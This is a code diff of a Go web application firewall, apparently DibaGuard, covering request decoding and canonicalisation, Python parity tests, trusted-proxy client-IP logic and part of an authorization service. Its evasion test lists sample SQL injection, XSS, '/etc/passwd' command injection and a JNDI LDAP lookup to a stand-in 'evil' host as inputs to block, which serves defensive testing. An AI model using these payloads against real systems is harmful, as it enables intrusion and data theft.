+ r = utf8.RuneError
148
+ }
149
+ return utf8.AppendRune(b, r)
150
+ }
151
+
152
+ // pctDecode is canon._pct: %uXXXX first, then every run of %XX decoded as one UTF-8 byte string (invalid -> U+FFFD).
153
+ func pctDecode(s string) string {
154
+ if strings.IndexByte(s, '%') < 0 {
155
+ return s
156
+ }
157
+ // %uXXXX (lower-case u only, as PCT_U)
158
+ if strings.Contains(s, "%u") {
159
+ b := make([]byte, 0, len(s))
160
+ for i := 0; i < len(s); i++ {
161
+ if s[i] == '%' && i+5 < len(s) && s[i+1] == 'u' && ishex(s[i+2]) && ishex(s[i+3]) && ishex(s[i+4]) && ishex(s[i+5]) {
162
+ b = appendRune(b, rune(unhex(s[i+2]))<<12|rune(unhex(s[i+3]))<<8|rune(unhex(s[i+4]))<<4|rune(unhex(s[i+5])))
163
+ i += 5
164
+ continue
165
+ }
166
+ b = append(b, s[i])
167
+ }
168
+ s = string(b)
169
+ }
170
+ b := make([]byte, 0, len(s))
171
+ for i := 0; i < len(s); {
172
+ if s[i] == '%' && i+2 < len(s) && ishex(s[i+1]) && ishex(s[i+2]) {
173
+ run := make([]byte, 0, 8)
174
+ for i+2 < len(s) && s[i] == '%' && ishex(s[i+1]) && ishex(s[i+2]) {
175
+ run = append(run, unhex(s[i+1])<<4|unhex(s[i+2]))
176
+ i += 3
177
+ }
178
+ b = append(b, validUTF8(run)...)
179
+ continue
180
+ }
181
+ b = append(b, s[i])
182
+ i++
183
+ }
184
+ return string(b)
185
+ }
186
+
187
+ // pyUnescapeHTML is Python's html.unescape: &#N; / &#xH; with Python's replacement and drop rules, named references
188
+ // from the HTML5 table (longest legacy prefix when the name is not one), the name being 1..32 characters that are not
189
+ // tab, LF, FF, space, '<', '&', '#' or ';'.
190
+ func pyUnescapeHTML(s string) string {
191
+ if strings.IndexByte(s, '&') < 0 {
192
+ return s
193
+ }
194
+ var b strings.Builder
195
+ b.Grow(len(s))
196
+ for i := 0; i < len(s); {
197
+ if s[i] != '&' {
198
+ j := strings.IndexByte(s[i:], '&')
199
+ if j < 0 {
200
+ b.WriteString(s[i:])
201
+ break
202
+ }
203
+ b.WriteString(s[i : i+j])
204
+ i += j
205
+ continue
206
+ }
207
+ if rep, n := charref(s[i+1:]); n > 0 {
208
+ b.WriteString(rep)
209
+ i += 1 + n
210
+ continue
211
+ }
212
+ b.WriteByte('&')
213
+ i++
214
+ }
215
+ return b.String()
216
+ }
217
+
218
+ // charref reads one reference after '&' -> (replacement, bytes consumed) or n == 0 when there is none.
219
+ func charref(s string) (string, int) {
220
+ if s == "" {
221
+ return "", 0
222
+ }
223
+ if s[0] == '#' {
224
+ j, hexa := 1, false
225
+ if len(s) > 1 && (s[1] == 'x' || s[1] == 'X') {
226
+ j, hexa = 2, true
227
+ }
228
+ k := j
229
+ for k < len(s) && (hexa && ishex(s[k]) || !hexa && '0' <= s[k] && s[k] <= '9') {
230
+ k++
231
+ }
232
+ if k == j {
233
+ return "", 0
234
+ }
235
+ num, big := 0, false
236
+ for _, c := range []byte(s[j:k]) {
237
+ d := int(c - '0')
238
+ if hexa {
239
+ d = int(unhex(c))
240
+ }
241
+ if !big {
242
+ if hexa {
243
+ num = num*16 + d
244
+ } else {
245
+ num = num*10 + d
246
+ }
247
+ if num > 0x10FFFF {
248
+ big = true
249
+ }
250
+ }
251
+ }
252
+ if k < len(s) && s[k] == ';' {
253
+ k++
254
+ }
255
+ switch {
256
+ case big:
257
+ return "�", k
258
+ case htmlInvalidCharrefs[num] != "":
259
+ return htmlInvalidCharrefs[num], k
260
+ case 0xD800 <= num && num <= 0xDFFF:
261
+ return "�", k
262
+ case htmlInvalidCodepoints[num]:
263
+ return "", k
264
+ }
265
+ return string(rune(num)), k
266
+ }
267
+ // named: up to 32 characters, then an optional ';'
268
+ n, end := 0, 0
269
+ for k, r := range s {
270
+ if n == 32 || r == '\t' || r == '\n' || r == '\f' || r == ' ' || r == '<' || r == '&' || r == '#' || r == ';' {
271
+ break
272
+ }
273
+ n++
274
+ end = k + utf8.RuneLen(r)
275
+ }
276
+ if n == 0 {
277
+ return "", 0
278
+ }
279
+ name := s[:end]
280
+ if end < len(s) && s[end] == ';' {
281
+ name = s[:end+1]
282
+ }
283
+ if v, ok := html5Entities[name]; ok {
284
+ return v, len(name)
285
+ }
286
+ // the longest prefix that is an entity (Python: for x in range(len(s)-1, 1, -1))
287
+ rs := []rune(name)
288
+ for x := len(rs) - 1; x > 1; x-- {
289
+ if v, ok := html5Entities[string(rs[:x])]; ok {
290
+ return v + string(rs[x:]), len(name)
291
+ }
292
+ }
293
+ return "&" + name, len(name)
294
+ }
295
+
296
+ // escDecode is canon.ESC_U then canon.ESC_X (each one left-to-right pass).
297
+ func escDecode(s string) string {
298
+ if strings.IndexByte(s, '\\') < 0 {
299
+ return s
300
+ }
301
+ for _, x := range []struct {
302
+ c byte
303
+ n int
304
+ }{{'u', 4}, {'x', 2}} {
305
+ var b []byte
306
+ last := 0
307
+ for i := 0; i+1+x.n < len(s); i++ {
308
+ if s[i] != '\\' || s[i+1] != x.c {
309
+ continue
310
+ }
311
+ ok := true
312
+ for k := 0; k < x.n; k++ {
313
+ if !ishex(s[i+2+k]) {
314
+ ok = false
315
+ break
316
+ }
317
+ }
318
+ if !ok {
319
+ continue
320
+ }
321
+ v := rune(0)
322
+ for k := 0; k < x.n; k++ {
323
+ v = v<<4 | rune(unhex(s[i+2+k]))
324
+ }
325
+ b = append(b, s[last:i]...)
326
+ b = appendRune(b, v)
327
+ i += 1 + x.n
328
+ last = i + 1
329
+ }
330
+ if b != nil {
331
+ s = string(append(b, s[last:]...))
332
+ }
333
+ }
334
+ return s
335
+ }
336
+
337
+ // decodeLayer is canon.decode_layer.
338
+ func decodeLayer(s string, plus bool) string {
339
+ if plus && strings.IndexByte(s, '+') >= 0 {
340
+ s = strings.ReplaceAll(s, "+", " ")
341
+ }
342
+ s = pctDecode(s)
343
+ if strings.IndexByte(s, '&') >= 0 {
344
+ s = pyUnescapeHTML(s)
345
+ }
346
+ if strings.IndexByte(s, '\\') >= 0 {
347
+ s = escDecode(s)
348
+ }
349
+ return s
350
+ }
351
+
352
+ // decodeFixpoint is canon.decode_fixpoint: the first MAX_LEN code points, decoded until nothing changes (at most 4
353
+ // layers, '+' a space in the first one only when plus) -> (text, layers peeled).
354
+ func decodeFixpoint(s string, plus bool) (string, int) {
355
+ s = runeCut(s, canonMaxLen)
356
+ rounds := 0
357
+ for i := 0; i < canonMaxRounds; i++ {
358
+ t := decodeLayer(s, plus && rounds == 0)
359
+ if t == s {
360
+ break
361
+ }
362
+ s, rounds = t, rounds+1
363
+ }
364
+ return s, rounds
365
+ }
366
+
367
+ // nfkc is unicodedata.normalize("NFKC", s) character by character (see the file comment).
368
+ func nfkc(s string) string {
369
+ ascii := true
370
+ for i := 0; i < len(s); i++ {
371
+ if s[i] >= 0x80 {
372
+ ascii = false
373
+ break
374
+ }
375
+ }
376
+ if ascii {
377
+ return s
378
+ }
379
+ var b strings.Builder
380
+ b.Grow(len(s))
381
+ for _, r := range s {
382
+ if i := sort.Search(len(nfkcKeys), func(i int) bool { return nfkcKeys[i] >= r }); i < len(nfkcKeys) && nfkcKeys[i] == r {
383
+ lo := uint32(0)
384
+ if i > 0 {
385
+ lo = nfkcEnd[i-1]
386
+ }
387
+ b.WriteString(nfkcVals[lo:nfkcEnd[i]])
388
+ continue
389
+ }
390
+ b.WriteRune(r)
391
+ }
392
+ return b.String()
393
+ }
394
+
395
+ func isSchemeCh(c byte) bool {
396
+ return 'a' <= c && c <= 'z' || 'A' <= c && c <= 'Z' || '0' <= c && c <= '9' || c == '+' || c == '.' || c == '-' || c == '\t' || c == '\n' || c == '\r'
397
+ }
398
+
399
+ // joinSchemes is canon._join_schemes: tab / LF / CR deleted inside every URL-scheme-shaped run followed by ':'.
400
+ func joinSchemes(s string) string {
401
+ var b strings.Builder
402
+ b.Grow(len(s))
403
+ for i := 0; i < len(s); {
404
+ if !isSchemeCh(s[i]) {
405
+ b.WriteByte(s[i])
406
+ i++
407
+ continue
408
+ }
409
+ j := i
410
+ for j < len(s) && isSchemeCh(s[j]) {
411
+ j++
412
+ }
413
+ run := s[i:j]
414
+ c := s[i]
415
+ if ('a' <= c && c <= 'z' || 'A' <= c && c <= 'Z') && j < len(s) && s[j] == ':' && strings.ContainsAny(run, "\t\n\r") {
416
+ run = strings.NewReplacer("\t", "", "\n", "", "\r", "").Replace(run)
417
+ }
418
+ b.WriteString(run)
419
+ i = j
420
+ }
421
+ return b.String()
422
+ }
423
+
424
+ // fold is canon._fold: control characters removed, whitespace runs (Python's \s, NUL) one space, lower case, stripped.
425
+ func fold(s string) string {
426
+ var b strings.Builder
427
+ b.Grow(len(s))
428
+ space := false
429
+ for _, r := range s {
430
+ switch {
431
+ case 0x01 <= r && r <= 0x08 || 0x0e <= r && r <= 0x1f || r == 0x7f: // CTRL
432
+ continue
433
+ case r == 0 || pyIsSpace(r):
434
+ space = true
435
+ continue
436
+ }
437
+ if space {
438
+ b.WriteByte(' ')
439
+ space = false
440
+ }
441
+ if r < 0x80 {
442
+ if 'A' <= r && r <= 'Z' {
443
+ r += 'a' - 'A'
444
+ }
445
+ b.WriteByte(byte(r))
446
+ continue
447
+ }
448
+ if r == 0x130 { // Python: "İ".lower() == "i̇"
449
+ b.WriteString("i̇")
450
+ continue
451
+ }
452
+ b.WriteRune(unicode.ToLower(r))
453
+ }
454
+ return strings.TrimLeft(b.String(), " ") // a trailing run never writes its space; strip the leading one
455
+ }
456
+
457
+ // canonViews is canon.views: (SQL view, plain view, plain view present).
458
+ func canonViews(s string) (string, string, bool) {
459
+ s = nfkc(s)
460
+ if strings.ContainsAny(s, "\t\n\r") {
461
+ s = joinSchemes(s)
462
+ }
463
+ q := s
464
+ if strings.Contains(q, "/*") {
465
+ q = reMySQLExec.ReplaceAllString(q, "${1}")
466
+ q = reCComment.ReplaceAllString(q, " ")
467
+ }
468
+ if (strings.Contains(q, "#") || strings.Contains(q, "--")) && strings.ContainsAny(q, "\n\r") {
469
+ q = reLineComment.ReplaceAllString(q, " ")
470
+ }
471
+ a := fold(q)
472
+ if q == s {
473
+ return a, "", false
474
+ }
475
+ if p := fold(s); p != a {
476
+ return a, p, true
477
+ }
478
+ return a, "", false
479
+ }
480
+
481
+ // canonText is canon.canon_views: raw text -> (SQL view, plain view, present, layers peeled).
482
+ func canonText(s string, plus bool) (string, string, bool, int) {
483
+ d, r := decodeFixpoint(s, plus)
484
+ a, p, ok := canonViews(d)
485
+ return a, p, ok, r
486
+ }
runtime/go/canonical_test.go ADDED
@@ -0,0 +1,152 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ package dibaguard
2
+
3
+ import (
4
+ "encoding/json"
5
+ "net/http"
6
+ "net/url"
7
+ "os"
8
+ "path/filepath"
9
+ "testing"
10
+ "time"
11
+ )
12
+
13
+ // canon_parity.json (tests/test_parity.py): for a corpus of wire requests, the Python model text, deepest layer and
14
+ // hard A22 verdict; Canonical must write the same text byte for byte and SQLContext reach the same verdict (V-08, V-09)
15
+ type canonRow struct {
16
+ Req struct {
17
+ Method string `json:"method"`
18
+ Target string `json:"target"`
19
+ Headers [][2]string `json:"headers"`
20
+ Body string `json:"body"`
21
+ } `json:"req"`
22
+ Text string `json:"text"`
23
+ Deepest int `json:"deepest"`
24
+ A22 bool `json:"a22"`
25
+ }
26
+
27
+ func loadCanonRows(t *testing.T) []canonRow {
28
+ b, err := os.ReadFile(filepath.Join("testdata", "canon_parity.json"))
29
+ if err != nil {
30
+ t.Skip("no canon fixture:", err)
31
+ }
32
+ var rows []canonRow
33
+ if err := json.Unmarshal(b, &rows); err != nil {
34
+ t.Fatal(err)
35
+ }
36
+ return rows
37
+ }
38
+
39
+ func TestCanonParity(t *testing.T) {
40
+ n, bad := 0, 0
41
+ for _, r := range loadCanonRows(t) {
42
+ u, err := url.ParseRequestURI(r.Req.Target)
43
+ if err != nil {
44
+ continue // the Go HTTP server refuses it (400) before any decision
45
+ }
46
+ h := http.Header{}
47
+ for _, kv := range r.Req.Headers {
48
+ h.Add(kv[0], kv[1])
49
+ }
50
+ var body []byte
51
+ if r.Req.Body != "" {
52
+ body = []byte(r.Req.Body)
53
+ }
54
+ got, deep := Canonical(r.Req.Method, u, h, body)
55
+ n++
56
+ if got != r.Text || deep != r.Deepest {
57
+ bad++
58
+ if bad <= 5 {
59
+ i := 0
60
+ for i < len(got) && i < len(r.Text) && got[i] == r.Text[i] {
61
+ i++
62
+ }
63
+ lo := i - 60
64
+ if lo < 0 {
65
+ lo = 0
66
+ }
67
+ t.Errorf("%s %.80q: deepest %d/%d, first difference at byte %d:\n go %q\n py %q", r.Req.Method, r.Req.Target, deep, r.Deepest, i,
68
+ got[lo:minInt(len(got), i+80)], r.Text[lo:minInt(len(r.Text), i+80)])
69
+ }
70
+ }
71
+ }
72
+ if bad > 0 {
73
+ t.Fatalf("%d of %d requests: Go canonical text differs from Python's", bad, n)
74
+ }
75
+ t.Logf("%d requests: identical canonical text and depth", n)
76
+ }
77
+
78
+ func TestSQLContextParity(t *testing.T) {
79
+ n, bad, hits := 0, 0, 0
80
+ for _, r := range loadCanonRows(t) {
81
+ got := SQLContext(r.Text) != nil
82
+ n++
83
+ if got {
84
+ hits++
85
+ }
86
+ if got != r.A22 {
87
+ bad++
88
+ if bad <= 5 {
89
+ t.Errorf("A22 go %v python %v: %.300q", got, r.A22, r.Text)
90
+ }
91
+ }
92
+ }
93
+ if bad > 0 {
94
+ t.Fatalf("%d of %d texts: the Go SQL-context verdict differs from Python's", bad, n)
95
+ }
96
+ t.Logf("%d texts, %d hard A22 hits: identical verdicts", n, hits)
97
+ }
98
+
99
+ func TestPyFloat(t *testing.T) {
100
+ for in, want := range map[float64]string{1: "1.0", 2.5: "2.5", 1e16: "1e+16", 1e15: "1000000000000000.0", 0.0001: "0.0001", 0.00001: "1e-05",
101
+ 123456.789: "123456.789", 1.5e300: "1.5e+300", 1e-7: "1e-07", 100000.0: "100000.0", -2.25: "-2.25"} {
102
+ if got := pyFloat(in); got != want {
103
+ t.Errorf("pyFloat(%v) = %q want %q", in, got, want)
104
+ }
105
+ }
106
+ }
107
+
108
+ // requests that hid their payload behind a malformed escape or a ';' (Go's url.ParseQuery dropped the whole pair),
109
+ // and benign requests with stray '%' that must still pass
110
+ func TestEvasionMalformedEscapes(t *testing.T) {
111
+ d := testDecider(t, 1e9)
112
+ now := time.Now()
113
+ cases := []struct {
114
+ name, target string
115
+ hdr map[string]string
116
+ body string
117
+ action string
118
+ }{
119
+ {"bad escape before SQLi", "/items?id=%zz1%27%20or%201%3D1--%20-", nil, "", ActionBlock},
120
+ {"bad escape after SQLi", "/items?id=1%27%20or%201%3D1--%20-%zz", nil, "", ActionBlock},
121
+ {"truncated escape + SQLi", "/items?id=%2%27%20union%20select%20password%20from%20users", nil, "", ActionBlock},
122
+ {"stray percent + SQLi", "/items?id=100%%27%20or%201%3D1--%20-", nil, "", ActionBlock},
123
+ {"bad escape in the key", "/items?i%zzd=1%27%20or%201%3D1--%20-", nil, "", ActionBlock},
124
+ {"double encoding + bad escape", "/items?id=%zz1%2527%2520or%25201%253D1--%2520-", nil, "", ActionBlock},
125
+ {"%u-encoded SQLi", "/items?id=1%u0027%u0020or%u00201=1--%u0020-", nil, "", ActionBlock},
126
+ {"%u-encoded XSS", "/q?s=%u003cscript%u003ealert(1)%u003c/script%u003e", nil, "", ActionBlock},
127
+ {"double-encoded %u", "/items?id=1%25u0027%2520or%25201%253D1--%2520-", nil, "", ActionBlock},
128
+ {"';' inside a pair (command injection)", "/ping?host=127.0.0.1;cat%20/etc/passwd", nil, "", ActionBlock},
129
+ {"';' inside a pair (SQLi)", "/items?id=1;drop%20table%20users", nil, "", ActionBlock},
130
+ {"bad escape in a header", "/", map[string]string{"X-Api-Version": "%zz%24%7Bjndi:ldap://evil/a%7D"}, "", ActionBlock},
131
+ {"bad escape in the body", "/login", nil, "user=admin%27+or+1%3D1--+-&x=%zz", ActionBlock},
132
+ {"benign: 100%", "/search?q=100%", nil, "", ActionAllow},
133
+ {"benign: 50% off", "/search?q=50%+off&discount=50%25", nil, "", ActionAllow},
134
+ {"benign: stray % in text", "/search?q=hello%world&p=%", nil, "", ActionAllow},
135
+ {"benign: Persian + stray %", "/search?q=%DA%A9%D8%AA%D8%A7%D8%A8%2050%", nil, "", ActionAllow},
136
+ {"benign: ';' in a value", "/search?q=a;b&sort=price;desc", nil, "", ActionAllow},
137
+ {"benign: body with stray %", "/save", nil, "note=100%+done&pct=5%", ActionAllow},
138
+ }
139
+ for _, c := range cases {
140
+ r := testRequest(c.target, "1.1.1.1", c.hdr)
141
+ r.Body = []byte(c.body)
142
+ v := d.Decide(r, now)
143
+ if v.Action != c.action {
144
+ t.Errorf("%s: %s want %s (sigs %v, text %q)", c.name, v.Action, c.action, v.SigIDs, v.Text)
145
+ }
146
+ }
147
+ // the pair is kept and decoded: what the application will read is what is scored
148
+ u, _ := url.ParseRequestURI("/items?id=%zz1%27%20or%201%3D1--%20-&x=a;b")
149
+ if text, _ := Canonical("GET", u, http.Header{}, nil); text != "get /items | q:id=%zz1' or 1=1-- - | q:x=a;b" {
150
+ t.Errorf("canonical: %q", text)
151
+ }
152
+ }
runtime/go/clientip.go ADDED
@@ -0,0 +1,204 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ package dibaguard
2
+
3
+ import (
4
+ "fmt"
5
+ "net/http"
6
+ "net/netip"
7
+ "strings"
8
+ )
9
+
10
+ // TrustedProxies is the set of peers whose forwarding headers are believed (the load balancers in front of a
11
+ // DibaGuard service). A request from any other peer is identified by its own address, whatever headers it sends.
12
+ type TrustedProxies []netip.Prefix
13
+
14
+ // DefaultTrusted is loopback only: a load balancer on the same host.
15
+ const DefaultTrusted = "127.0.0.0/8,::1/128"
16
+
17
+ // DefaultIPHeaders is the client-address header read from trusted peers. Only list a header your load balancer
18
+ // sets or overwrites itself: one it passes through unchanged is written by the client.
19
+ const DefaultIPHeaders = "X-Forwarded-For"
20
+
21
+ // ParseTrustedProxies parses a comma-separated list of CIDRs or addresses ("" = trust nobody).
22
+ func ParseTrustedProxies(list string) (TrustedProxies, error) {
23
+ var t TrustedProxies
24
+ for _, f := range strings.Split(list, ",") {
25
+ f = strings.TrimSpace(f)
26
+ if f == "" {
27
+ continue
28
+ }
29
+ if !strings.Contains(f, "/") {
30
+ a, err := netip.ParseAddr(f)
31
+ if err != nil {
32
+ return nil, fmt.Errorf("trusted proxy %q: %w", f, err)
33
+ }
34
+ a = a.Unmap().WithZone("")
35
+ t = append(t, netip.PrefixFrom(a, a.BitLen()))
36
+ continue
37
+ }
38
+ p, err := netip.ParsePrefix(f)
39
+ if err != nil {
40
+ return nil, fmt.Errorf("trusted proxy %q: %w", f, err)
41
+ }
42
+ if p.Addr().Is4In6() && p.Bits() >= 96 {
43
+ p = netip.PrefixFrom(p.Addr().Unmap(), p.Bits()-96)
44
+ }
45
+ t = append(t, p.Masked())
46
+ }
47
+ return t, nil
48
+ }
49
+
50
+ // SplitHeaderList splits a comma-separated list of header names.
51
+ func SplitHeaderList(list string) []string {
52
+ var out []string
53
+ for _, h := range strings.Split(list, ",") {
54
+ if h = strings.TrimSpace(h); h != "" {
55
+ out = append(out, h)
56
+ }
57
+ }
58
+ return out
59
+ }
60
+
61
+ // Trusted reports whether a is a trusted proxy.
62
+ func (t TrustedProxies) Trusted(a netip.Addr) bool {
63
+ a = a.Unmap().WithZone("")
64
+ for _, p := range t {
65
+ if p.Contains(a) {
66
+ return true
67
+ }
68
+ }
69
+ return false
70
+ }
71
+
72
+ // parseHop reads one address of a forwarding header: "1.2.3.4", "1.2.3.4:567", "2001:db8::1", "[2001:db8::1]:567",
73
+ // "fe80::1%eth0", "::ffff:1.2.3.4" (-> 1.2.3.4). Zones are dropped. "unknown" and obfuscated identifiers fail.
74
+ func parseHop(s string) (netip.Addr, bool) {
75
+ s = strings.Trim(strings.TrimSpace(s), `"`)
76
+ if s == "" {
77
+ return netip.Addr{}, false
78
+ }
79
+ if a, err := netip.ParseAddr(strings.TrimSuffix(strings.TrimPrefix(s, "["), "]")); err == nil {
80
+ return a.Unmap().WithZone(""), true
81
+ }
82
+ if ap, err := netip.ParseAddrPort(s); err == nil {
83
+ return ap.Addr().Unmap().WithZone(""), true
84
+ }
85
+ return netip.Addr{}, false
86
+ }
87
+
88
+ // PeerAddr parses an http.Request.RemoteAddr; ok is false for a non-IP peer (a unix socket).
89
+ func PeerAddr(remoteAddr string) (netip.Addr, bool) {
90
+ if ap, err := netip.ParseAddrPort(remoteAddr); err == nil {
91
+ return ap.Addr().Unmap().WithZone(""), true
92
+ }
93
+ if a, err := netip.ParseAddr(remoteAddr); err == nil {
94
+ return a.Unmap().WithZone(""), true
95
+ }
96
+ return netip.Addr{}, false
97
+ }
98
+
99
+ // ClientIP identifies the client of a request that arrived from peer remoteAddr (http.Request.RemoteAddr).
100
+ // Forwarding headers are read only when the peer is a trusted proxy (or a unix-socket peer, which only the local
101
+ // host can be), in the order given; the first one that yields an address wins.
102
+ //
103
+ // - X-Forwarded-For and Forwarded (RFC 7239, its for= parameters) are chains: they are walked right to left past
104
+ // trusted hops, so the address is the one the nearest trusted proxy saw, never one the client wrote itself:
105
+ // "spoofed, real" yields "real". The walk stops at a hop it cannot read ("unknown", garbage).
106
+ // - Any other header (X-Real-IP) holds a single address.
107
+ //
108
+ // Addresses come back normalized: IPv4-mapped IPv6 as IPv4, IPv6 compressed, no zone.
109
+ func (t TrustedProxies) ClientIP(remoteAddr string, hdr http.Header, headers []string) string {
110
+ peer, ok := PeerAddr(remoteAddr)
111
+ if !ok || t.Trusted(peer) {
112
+ for _, h := range headers {
113
+ vals := hdr.Values(h)
114
+ if len(vals) == 0 {
115
+ continue
116
+ }
117
+ var hops []string
118
+ switch {
119
+ case strings.EqualFold(h, "X-Forwarded-For"):
120
+ for _, v := range vals {
121
+ hops = append(hops, strings.Split(v, ",")...)
122
+ }
123
+ case strings.EqualFold(h, "Forwarded"):
124
+ hops = forwardedFor(vals)
125
+ default:
126
+ if a, ok := parseHop(vals[0]); ok {
127
+ return a.String()
128
+ }
129
+ continue
130
+ }
131
+ if a, ok := t.walk(hops); ok {
132
+ return a.String()
133
+ }
134
+ }
135
+ }
136
+ if !ok {
137
+ return remoteAddr
138
+ }
139
+ return peer.String()
140
+ }
141
+
142
+ // walk returns the rightmost untrusted hop of a chain. It stops at an unreadable hop: everything left of it was
143
+ // written by someone we cannot vouch for. If every hop is trusted the leftmost one is the client.
144
+ func (t TrustedProxies) walk(hops []string) (netip.Addr, bool) {
145
+ var last netip.Addr
146
+ found := false
147
+ for i := len(hops) - 1; i >= 0; i-- {
148
+ a, ok := parseHop(hops[i])
149
+ if !ok {
150
+ break
151
+ }
152
+ last, found = a, true
153
+ if !t.Trusted(a) {
154
+ return a, true
155
+ }
156
+ }
157
+ return last, found
158
+ }
159
+
160
+ // splitQuoted splits s on sep outside double-quoted strings.
161
+ func splitQuoted(s string, sep byte) []string {
162
+ var out []string
163
+ quoted, start := false, 0
164
+ for i := 0; i < len(s); i++ {
165
+ switch c := s[i]; {
166
+ case c == '\\' && quoted:
167
+ i++
168
+ case c == '"':
169
+ quoted = !quoted
170
+ case c == sep && !quoted:
171
+ out = append(out, s[start:i])
172
+ start = i + 1
173
+ }
174
+ }
175
+ return append(out, s[start:])
176
+ }
177
+
178
+ // forwardedFor lists the for= values of Forwarded header elements in order; an element without one is an
179
+ // unreadable hop ("").
180
+ func forwardedFor(vals []string) []string {
181
+ var hops []string
182
+ for _, v := range vals {
183
+ for _, elem := range splitQuoted(v, ',') {
184
+ hop := ""
185
+ for _, pair := range splitQuoted(elem, ';') {
186
+ k, val, ok := strings.Cut(strings.TrimSpace(pair), "=")
187
+ if ok && strings.EqualFold(strings.TrimSpace(k), "for") {
188
+ val = strings.TrimSpace(val)
189
+ if len(val) >= 2 && val[0] == '"' && val[len(val)-1] == '"' {
190
+ val = strings.ReplaceAll(val[1:len(val)-1], `\`, "")
191
+ }
192
+ hop = val
193
+ break
194
+ }
195
+ }
196
+ hops = append(hops, hop)
197
+ }
198
+ }
199
+ return hops
200
+ }
201
+
202
+ // TrustAll trusts every peer: forwarding headers are believed from anyone. Only for a service no client can reach
203
+ // directly.
204
+ var TrustAll = TrustedProxies{netip.MustParsePrefix("0.0.0.0/0"), netip.MustParsePrefix("::/0")}
runtime/go/cmd/dibaguard-authz/authz.go ADDED
@@ -0,0 +1,369 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ package main
2
+
3
+ import (
4
+ "encoding/json"
5
+ "io"
6
+ "net/http"
7
+ "net/url"
8
+ "strconv"
9
+ "strings"
10
+ "sync/atomic"
11
+ "time"
12
+
13
+ "dibaguard"
14
+ )
15
+
16
+ // The external-authorization contract. A load balancer asks before forwarding a request; the answer is the shared
17
+ // fast-path decision (dibaguard.Decider), so a site behind nginx / Envoy / HAProxy / Traefik / Caddy gets the same
18
+ // verdicts as one behind dibaguard-proxy, without putting our proxy inline.
19
+ //
20
+ // /nginx nginx auth_request, ingress-nginx auth-url: 200 allow | 403 block | 401 challenge or rate_limit
21
+ // /forward Traefik ForwardAuth, Caddy forward_auth, HAProxy lua auth-request, anything generic:
22
+ // 200 allow | 403 block | 429 + JS challenge page | 429 slow down (Retry-After)
23
+ // <prefix>/... Envoy ext_authz HTTP service (path_prefix): same statuses as /forward; Envoy treats only 200 as
24
+ // allow and hands the deny response (status, allowed headers, body) to the client
25
+ // /challenge renders the challenge page (or the 429 of a rate-limited client) for nginx's error_page, HAProxy's
26
+ // challenge backend and (as /_dibaguard/challenge?rd=<path>) ingress-nginx's auth-signin
27
+ // /healthz counters and degradation state (JSON)
28
+ //
29
+ // Every answer carries X-DibaGuard-Verdict (allow | block | challenge | rate_limit) and, when there is one,
30
+ // X-DibaGuard-Reason (sidecar:<action> | sig:<id> | model | fail_open:<cause> | fail_closed:<cause>),
31
+ // X-DibaGuard-Sigs, X-DibaGuard-Score; X-DibaGuard: flagged as dibaguard-proxy sets it; X-DibaGuard-Mode.
32
+ // In report mode nothing is ever denied: the status is always 200 and the headers say what enforce would do.
33
+
34
+ type profile int
35
+
36
+ const (
37
+ profNginx profile = iota
38
+ profForward
39
+ profEnvoy
40
+ )
41
+
42
+ func (p profile) String() string { return [...]string{"nginx", "forward", "envoy"}[p] }
43
+
44
+ // decider is the decision a check runs (a *dibaguard.Decider; tests substitute slow or failing ones).
45
+ type decider interface {
46
+ Source(ip string, hdr http.Header, now time.Time) dibaguard.Verdict
47
+ Inspect(req dibaguard.Request, now time.Time) dibaguard.Verdict
48
+ }
49
+
50
+ type config struct {
51
+ mode string // report | enforce
52
+ failClosed bool // deny when the decision cannot be made (model/sidecar unavailable, budget exceeded)
53
+ budget time.Duration
54
+ trusted dibaguard.TrustedProxies
55
+ ipHeaders []string
56
+ envoyPrefix string
57
